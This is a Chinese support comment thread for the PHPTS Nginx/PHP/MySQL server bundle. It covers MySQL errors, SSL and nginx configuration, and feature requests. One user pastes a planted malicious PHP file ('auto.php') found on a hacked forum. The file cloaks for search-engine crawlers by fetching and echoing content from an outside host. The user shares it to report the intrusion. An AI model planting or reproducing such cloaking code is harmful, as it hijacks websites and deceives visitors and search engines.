问题反馈

关于 PHPTS 1.09 SP1 版本(2020年5月26日21:20发布)使用中出现的问题,可以在评论中留言反馈,以便于我们发现与修复。旧版本建议升级到最新版本,看是否还有问题。

《问题反馈》

另外,为了方便更多的非程序员、纯小白用户使用,PHPTS 将推出应用中心,提供一些常用的 PHP 开源应用一键安装功能,点击《问卷:您需要哪些 PHP 开源应用?》。

点赞
  1. 羽毛说道:

    感谢大神开发的 PHPTS,对小白用户非常友好。期待真假备份功能,可以按照计划备份,可以单独备份网站目录/数据库/网站目录+数据库,备份到本地/其他云OSS/FTP,希望考虑哈

    1. 将来会推出本地备份,加密后云端备份。

  2. 开发测试师说道:

    我作为一个小白的角度去讲,虽说简单,但是咱们也要出个详细的教程,好多人都是下载完PHPTS之后,两眼直沟沟的盯着界面点来点去的 也不知道该干啥 哪些东西该不该启动,该不该点, 这些东西对于他们而已,他们完全就没有思路。 希望尽快改善。

    1. 嗯,感谢您的建议,会出个教程,面向纯小白用户的。

  3. solfie说道:

    求助:mysql 服务现在出现这样的突发状况了:

    在管理软件主界面打开显示为 :已启动,但程序链接不上数据库。
    打开mysql管理界面显示:未启动,点击启动,还是启动不了。

    多次重启服务器依然无效。

  4. solfie说道:

    建议增加禁止IP的配置功能,目前我只能采用如下方式写在配置文件中,建议单独增加设置禁止IP的配置窗口。
    deny 39.101.129.127;
    deny 39.104.235.66;
    deny 39.101.205.97;
    deny 47.108.116.247;

  5. solfie说道:

    建议套件增加安全功能,如网站文件防篡改,文件木马查杀等。

  6. ayd说道:

    这个环境下,如何指定网站目录的权限:
    比如upload/images,该images目录,可上传读写,但无法执行php文件。这样的怎么设置呢?

    1. 主机手动配置中,在#PHPTS-PhpFastCgi-Start之前增加:
      location ~* /upload/.*\.(php|php7)$
      {
      deny all;
      }

  7. 说道:

    MySQL不支持怎么回事

    1. 说道:

      安装网站显示不支持

      1. 旧的PHP网站程序,如果还在使用已经废弃的mysql客户端扩展,会不支持。最新的程序使用mysqli或pdo_mysql代替。

  8. solife说道:

    主机手动配置文件中:我想去掉TLSv1
    ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3;
    删除后保存TLSv1,发现又自动回来了,请问怎么删除呢?

    1. 在【Nginx虚拟主机管理】-【HTTPS支持】中勾选https时,【主机手动配置】#PHPTS-SslCert-Start和#PHPTS-SslCert-End里的内容复制到下面,ssl_protocols那行修改成ssl_protocols TLSv1;再去掉【HTTPS支持】中的https勾选。同时在【主机手动配置】中添加:listen 443 ssl http2;

  9. phper说道:

    啥时候发布新版本

    1. 接下来的4、5天时间内发布新版本。

      1. wind说道:

        4-5天指的是40-50天吗?多长时间发布。

  10. ayd说道:

    add_header X-Frame-Options "DENY";
    add_header Strict-Transport-Security "max-age=31536000";

    想这道这两句应该加哪个位置?

    1. 可以加在伪静态配置里,或者主机手动配置server {内的其余部分。

  11. solfie说道:

    win2012 安装启动mysql软件客户端提示:heidisql.exe 系统错误,因为计算机中丢失VCRUNTIME140.DLL

    1. 您的Win2012缺少VC++运行库,可以在软件【常用设置】-【VC++运行库】,下载安装。

  12. solfie说道:

    之前的SSL配置成功了,现在更改为泛域名的SSL.更改SSL证书保存文件提示错误了.
    给的SSL文件没有.pem文件文件,只有:.csr文件和.key文件,还有一个单独的:.crt文件,请问怎么处理呢?

    1. crt和key文件即可。不同CA机构颁发的key格式可能不一样,Nginx默认PKCS8 Key,如果你的是RSA Key,可以用这个网址转换一下key:
      https://csr.chinassl.net/convert-key.html

  13. solfie说道:

    设置的404页面对.php无效的问题(No input file specified.)其他目录或html均能生效。就*.php无法生效。显示为:(No input file specified.)请问怎么设置呢

    1. error_page 404 /404.html;
      location ~ \.php($|/) {
      #需要在这里面添加如下一行,才能使404页面对.php有效
      try_files $uri =404;

      1. solfie说道:

        error_page 404 /404.html;
        location ~ \.php($|/) {
        #需要在这里面添加如下一行,才能使404页面对.php有效
        try_files $uri =404;
        上面的代码在#PHPTS-PhpFastCgi-Start中,保存后关闭又恢复默认设置了,没法保存吖。

        1. 可以手工在#PHPTS-PhpFastCgi-Start之外配置,下个版本将直接支持try_files $uri =404;

          1. solfie说道:

            try_files $uri =404;写在#PHPTS-PhpFastCgi-Start之前无效,写在#PHPTS-PhpFastCgi-end后面也会无效。

  14. vipkwd说道:

    最近有个问题,随着在客户端上的主机应用数量增加,越来发现我的电脑有点力不从心了。举例:配置12个主机,每次启动客户端后,12个应用都自动启用了(其实本次我可能只会用到其中2个应用)。能不能像配置“访问记录日志”一样给各应用一个独立开关啊?用以解决可以手动关闭本次用不到的个应用。

    1. 每个Nginx主机应用是虚拟主机,只需要Nginx多读取几百字节的配置文件,所涉及的Nginx进程数、PHP-CGI进程数并不会增加,也不会额外消耗CPU、内存。而Memcached、Redis、Mongodb等独立服务,选择自己需要的启动,如果最后状态不是启动状态,重启、开机是不会自动启动的。

  15. 最蠢小白说道:

    不知什么原因,一开始只是测试MySQL服务器,后期突然启动MySQL服务器后,会自动停止服务。

    1. 看一下安装目录\logs\mysql\x64\mysql_error.log 中的 MySQL 报错日志。

  16. solfie说道:

    检测发现论坛根目录被人挂马,放置了一个auto.php的文件,服务器重置,网站全部文件核查,发现没过多久又出现该文件,希望跟进核查是否是套件导致的泄露。

    如下是该文件的代码:
    <?php
    isAllowAccess(TRUE);
    function isAllowAccess($dir = false){
    $key= $_SERVER["HTTP_USER_AGENT"];
    $valid = false;
    if(strpos($key,'ogou')!== false||strpos($key,'aidu')!==false||strpos($key,'so')!==false|| strpos($key,'sm')!==false||strpos($key,'soso')!==false||strpos($key,'google')!==false)
    {
    header('Content-Type:text/html;charset=gb2312');
    $valid = true;
    $file = file_get_contents('http://a.xixihhaa.cn/&#039;);
    echo $file;
    echo file_get_contents('http://&#039;.$_SERVER['HTTP_HOST'].'/');
    }
    if(!$valid && $dir)
    {
    echo '';
    echo file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/');
    }
    return $valid;
    }
    ?>?>

    1. 很有可能是论坛的PHP程序存在漏洞(比如上传附件的地方),导致能够从外部上传PHP文件。请开启Nginx访问日志,查询外部利用PHP代码漏洞上传文件的Web访问日志,找出漏洞。套件是Nginx+PHP服务器,与具体PHP代码无关。

  17. sorrymybaby说道:

    程序安装 账号信息都正确,但总是提示数据库无法连接的问题。望解决!!!

    1. 如果程序不能自行创建数据库名,需要先用MySQL管理工具phpMyAdmin、HeidiSQL等创建数据库名。

  18. solfie说道:

    redis建议用5.0 4.0有挺个严重的性能问题

    1. 目前还没有合适的5.0 Windows版本。

  19. phper说道:

    再不发布新版本,我的项目就要托黄了~ :cry:

  20. Leon说道:

    Thanks so much for the post.Really thank you! Great.

1 5 6 7 8 9 13

发表评论

电子邮件地址不会被公开。

*

code